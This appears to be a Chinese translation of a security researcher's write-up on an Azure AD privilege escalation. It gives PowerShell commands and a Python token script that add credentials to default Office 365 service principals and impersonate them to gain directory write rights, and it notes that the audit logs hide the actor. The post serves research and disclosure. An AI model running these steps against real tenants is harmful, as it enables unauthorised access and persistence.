导语:在今年的DEF CON和Troopers 中,我演示了Azure AD中存在的一个漏洞,其中管理员或本地同步帐户可以通过向程序分配凭据来进行特权提升。后来我再分析这个漏洞时,发现该漏洞实际上不是由Microsoft修复的,并且仍然存在使用默认Office 365程序进行提权的方法。在文章中,我会解释原因和提权方法。
在今年的DEF CON和Troopers 中,我演示了Azure AD中存在的一个漏洞,其中管理员或本地同步帐户可以通过向程序分配凭据来进行特权提升。后来我再分析这个漏洞时,发现该漏洞实际上不是由Microsoft修复的,并且仍然存在使用默认Office 365程序进行提权的方法。在文章中,我会解释原因和提权方法。
0x01 Applications and Service Principals
在Azure AD中,程序主体和服务主体之间是有区别的。程序是应用程序的配置,而服务主体是实际上可以在Azure目录中拥有特权的安全对象。这会造成混乱,因为在文档中它们通常都称为程序。Azure通过将“服务主体”称为“企业应用程序”并隐藏服务主体的大多数属性,使其更加混乱了。对于Office 365和其他Microsoft程序,程序定义位于Microsoft专用的Azure目录之一中。在Office 365中,将自动为这些程序创建服务主体,默认情况下,为Office 365 Azure AD提供约200个服务主体,它们均具有不同的预分配权限。
0x02 Application roles
Azure AD程序的工作方式是可以定义roles,然后可以将roles分配给用户,组或服务主体。如果阅读了有关Microsoft Graph权限的文档,则可以看到诸如Directory.Read.All的权限。这些roles实际上是Microsoft Graph程序中定义的roles,可以分配给服务主体。在文档和Azure门户中,这些roles称为“应用程序权限”,但是我们在这里坚持使用API术语。可以使用AzureAD PowerShell模块查询Microsoft graph程序中定义的roles:
尝试查询已分配了一个或多个roles的程序时,可以看到在我的测试目录中,该appadmintest程序分配了一些roles:
但是,无法在Azure AD中查询已将哪些roles分配给默认Microsoft应用程序。因此,要枚举它,我们必须使用其他方法。应用程序管理员(或从内部部署升级到云的内部部署同步帐户)可以为应用程序分配凭据,然后此应用程序可以使用客户端凭据授予OAuth2登录权限。使用PowerShell可以分配凭据:
PS C:\> $sp = Get-AzureADServicePrincipal -searchstring "Microsoft StaffHub" PS C:\> New-AzureADServicePrincipalPasswordCredential -objectid $sp.ObjectId -EndDate "31-12-2099 12:00:00" -StartDate "6-8-2018 13:37:00" -Value redactedpassword CustomKeyIdentifier : EndDate : 31-12-2099 12:00:00 KeyId : StartDate : 6-8-2018 13:37:00 Value : redactedpassword
之后,可以使用一些python代码登录并查看发出的访问令牌。此JWT显示应用程序在Microsoft Graph中具有的roles:
import requests import json import jwt import pprint # This should include the tenant name/id AUTHORITY_URL = 'https://login.microsoftonline.com/ericsengines.onmicrosoft.com' TOKEN_ENDPOINT = '/oauth2/token' data = {'client_id':'aa580612-c342-4ace-9055-8edee43ccb89', 'resource':'https://graph.microsoft.com', 'client_secret':'redactedpassword', 'grant_type':'client_credentials'} r = requests.post(AUTHORITY_URL + TOKEN_ENDPOINT, data=data) data2 = r.json() try: jwtdata = jwt.decode(data2['access_token'], verify=False) pprint.pprint(jwtdata) except KeyError: pass
从令牌中打印数据,其中包含“roles”字段:
{ "aio": "42FgYJg946pl8aLnJXPOnn4zTe/mBwA=", "app_displayname": "Microsoft StaffHub", "appid": "aa580612-c342-4ace-9055-8edee43ccb89", "appidacr": "1", "aud": "https://graph.microsoft.com", "exp": 1567200473, "iat": 1567171373, "idp": "https://sts.windows.net/50ad18e1-bb23-4466-9154-bc92e7fe3fbb/", "iss": "https://sts.windows.net/50ad18e1-bb23-4466-9154-bc92e7fe3fbb/", "nbf": 1567171373, "oid": "56748bde-f24d-4a5b-aa2d-c88b175dfc80", "roles": ["Directory.ReadWrite.All", "Mail.Read", "Group.Read.All", "Files.Read.All", "Group.ReadWrite.All"], "sub": "56748bde-f24d-4a5b-aa2d-c88b175dfc80", "tid": "50ad18e1-bb23-4466-9154-bc92e7fe3fbb", "uti": "2GScBJopwk2e3EFce7pgAA", "ver": "1.0", "xms_tcdt": 1559139940 }
此方法仅适用于Microsoft Graph(不适用于Azure AD)。不确定这是因为没有程序对Azure AD Graph具有权限还是用于这些权限的系统不同。
如果我们对Office 365中的所有200个默认程序执行此操作,则将获得这些程序具有的所有权限的概述。
如果破坏了Application Administrator帐户或本地同步帐户就可以读取和修改目录设置,组成员身份,用户帐户,SharePoint网站和OneDrive文件。通过将凭据分配给具有这些权限的服务主体,然后模拟这些程序来完成。
可以通过向服务主体分配密码或证书,然后以该服务主体身份登录来利用此漏洞。使用服务主体密码登录,因为PowerShell模块不支持此密码(它支持证书,但是设置起来比较复杂)。
下面的命令说明,使用这种证书登录时,确实具有修改组成员身份的能力(应用程序管理员通常不具备此功能):
PS C:\> add-azureadgroupmember -RefObjectId 2730f622-db95-4b40-9be7-6d72b6c1dad4 -ObjectId 3cf7196f-9d57-48ee-8912-dbf50803a4d8 PS C:\> Get-AzureADGroupMember -ObjectId 3cf7196f-9d57-48ee-8912-dbf50803a4d8 ObjectId DisplayName UserPrincipalName UserType -------- ----------- ----------------- -------- 2730f622-db95-4b40-9be7-6d72b6c1dad4 Mark [email protected] Member
在Azure AD审核日志中,这些操作显示为由“ Microsoft StaffHub”执行,因此日志中没有任何内容表明这些操作是由程序管理员执行的。
0x03 漏洞披露
其实我还是不明白为什么可以通过这种方式可以将凭据分配给默认服务主体。我认为,不可能将凭据分配给第一方Microsoft应用程序。Azure门户不提供此选项,并且不显示这些“后门”服务主体凭据,但是Microsoft Graph和Azure AD Graph之类的API没有这样的限制。
如果正在管理Azure AD环境,则建议执行检查以检查分配给默认服务主体的凭据,并定期检查谁来控制具有高特权的应用程序的凭据。